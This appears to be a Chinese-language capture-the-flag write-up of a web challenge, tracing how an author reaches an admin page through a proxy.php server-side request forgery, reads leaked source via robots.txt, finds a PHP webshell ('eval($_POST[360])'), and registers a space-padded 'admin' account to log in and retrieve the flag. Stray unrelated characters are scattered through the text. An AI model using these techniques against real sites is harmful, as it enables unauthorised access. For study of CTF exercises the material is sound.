題目鏈接:http://101.200.145.44/web4/
首先查看源代碼服赎,里面有兩段
<img src="proxy.php?url=http://imgsrc.baidu.com/forum/w%3D580/sign=cae9ccf405082838680ddc1c8898a964/90529822720e0cf33a5c29100846f21fbf09aab6.jpg" alt="">
<pre>
<p><a href="admin">管理員登錄</a></p>
</pre>
先嘗試進(jìn)入admin,顯示Forbidden。隨后查看源碼發(fā)現(xiàn)了提示
<!--<script>alert('admin ip is 121.42.171.222')</script>-->
想到之前代碼里面的proxy.php,于是嘗試用proxy.php登錄121.42.171.222
http://101.200.145.44/web4/proxy.php?url=http://121.42.171.222/
但是被跳轉(zhuǎn)強(qiáng)制跳轉(zhuǎn),嘗試后發(fā)現(xiàn)有部分頁(yè)面不會(huì)被跳轉(zhuǎn)冤馏。
于是用字典開始掃描,最后發(fā)現(xiàn)一個(gè)200的響應(yīng) proxy.php
于是用兩次proxy訪問(wèn)admin頁(yè)面:
這次就可以成功登錄了寄啼,在這里找到一個(gè)注冊(cè)頁(yè)面和登錄頁(yè)面逮光,嘗試登錄之后發(fā)現(xiàn)只能登錄admin賬戶。然后檢查了robots.txt墩划,發(fā)現(xiàn)
User-agent: *
Disallow:trojan.php
Disallow:trojan.php.txt
Disallow:check.php
Disallow:check.php.txt
遂訪問(wèn)trojan.php.txt涕刚,獲得馬的代碼。這個(gè)文件是先進(jìn)行了登錄session的檢測(cè)乙帮,然后下一段代碼進(jìn)行了混淆杜漠,解混淆后發(fā)現(xiàn)是eval($_POST[360])。
再訪問(wèn)check.php.txt 其中一段是
function checkpassword($user,$pwd,$pdo){
if($user!='admin'){
exit('you are not admin!');
}
$query="SELECT password FROM user WHERE username='admin'";
$result=$pdo->query($query);
if ($result!=null&&$result->rowCount()!==0){
while($row = $result->fetch()){
if ($row['password']===$pwd){
return 1;
}
}
}
return 0;
}
似乎沒有注入點(diǎn)察净,不過(guò)從代碼中看出只要有一個(gè)合法的admin賬戶就行驾茴。
于是又開始從register入手,嘗試注冊(cè)一個(gè)admin帳號(hào)氢卡。這里直接注冊(cè)admin是被禁止的锈至,于是把a(bǔ)dmin改為:
admin x
//admin和x之間有n個(gè)空格
再注冊(cè),成功译秦。
用注冊(cè)的密碼登錄峡捡,獲得session后再用post訪問(wèn)trojan.php,即可獲得flag